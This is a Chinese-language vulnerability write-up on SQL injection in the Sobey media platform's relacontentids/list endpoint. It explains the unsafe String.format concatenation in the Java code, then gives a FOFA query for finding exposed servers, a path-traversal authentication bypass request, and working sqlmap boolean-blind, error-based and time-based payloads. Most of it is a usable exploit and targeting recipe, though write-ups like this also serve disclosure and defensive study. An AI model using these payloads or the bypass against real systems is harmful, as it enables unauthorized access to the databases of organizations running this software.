漏洞简介

索贝产品中的 /sobey-mchEditor/mch/relacontentids/list 接口存在SQL注入漏洞，攻击者可以通过构造恶意的SQL语句，获取数据库中的敏感信息，甚至可能导致数据库被完全控制。

影响版本

fofa语法

icon_hash="689611853"||app="SOBEY-融媒体" || body="You need to enable JavaScript to run this app" && header="Sobey"

漏洞分析

根据漏洞信息看下mch/relacontentids/list的实现逻辑

@RestController
@RequestMapping({"/mch/relacontentids"})
public class RelacontentidsController extends BaseController {
    private static final Logger logger = LoggerFactory.getLogger(RelacontentidsController.class);

    @RequestMapping(
        value = {"/list"},
        method = {RequestMethod.GET}
    )
    public Response list(@RequestParam("token") String token, @RequestParam("siteCode") String siteCode, @RequestParam(value = "startPublishDate",required = false) String startPublishDate, @RequestParam(value = "endPublishDate",required = false) String endPublishDate, @RequestParam(value = "username",defaultValue = "") String username, @RequestParam(value = "pageSize",required = false,defaultValue = "10") Integer pageSize, @RequestParam(value = "pageIndex",required = false,defaultValue = "0") Integer pageIndex) {
        List<Map<String, Object>> rows = new ArrayList();
        Map<String, Object> row = new HashMap();
        rows.add(row);
        StringBuffer sql = new StringBuffer("select a.title, relac.createUserName creator ,relac.createUserCode creatorCode,count(distinct relac.contentid) num ,relac.articleid from zcnrelacontentid  relac inner join zcnarticle a on a.id = relac.articleid ");
        if (StringUtils.isNotEmpty(username)) {
            try {
                sql.append(String.format(" and relac.createUserName  like '%%%s%%' ", URLDecoder.decode(username, "utf-8")));
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
        }

        sql.append("where a.ifval = '1' ");

代码一看就很明了了，username使用String.format格式化后被直接拼接在like语句中，从而造成了SQL注入漏洞。如果没有String.format，就不存在，因为默认的append方法底层是参数化查询。

漏洞复现

权限绕过相关分析可以参考之前的 索贝融媒体 getList SQL注入漏洞 的权限校验部分

GET /sobey-mchEditor/js/..;/mch/relacontentids/list?siteCode=&token=&userCode=admin&locale=zh&username='SQLI_POC HTTP/1.1
Host: sobey.mrxn.net

成功利用报错注入在响应回显当前数据用户

SQLMAP结果如下

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: http://sobey.mrxn.net/sobey-mchEditor/js/..;/mch/relacontentids/list?siteCode=&token=&userCode=admin&locale=zh&username=' AND EXTRACTVALUE(3608,CASE WHEN (3608=3608) THEN 3608 ELSE 0x3A END) AND 'DAmH'='DAmH

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: http://sobey.mrxn.net/sobey-mchEditor/js/..;/mch/relacontentids/list?siteCode=&token=&userCode=admin&locale=zh&username=' AND GTID_SUBSET(CONCAT(0x716b787171,(SELECT (ELT(1709=1709,1))),0x71626a7671),1709) AND 'bckN'='bckN

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: http://sobey.mrxn.net/sobey-mchEditor/js/..;/mch/relacontentids/list?siteCode=&token=&userCode=admin&locale=zh&username=' AND 8319=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) AND 'wrRE'='wrRE
---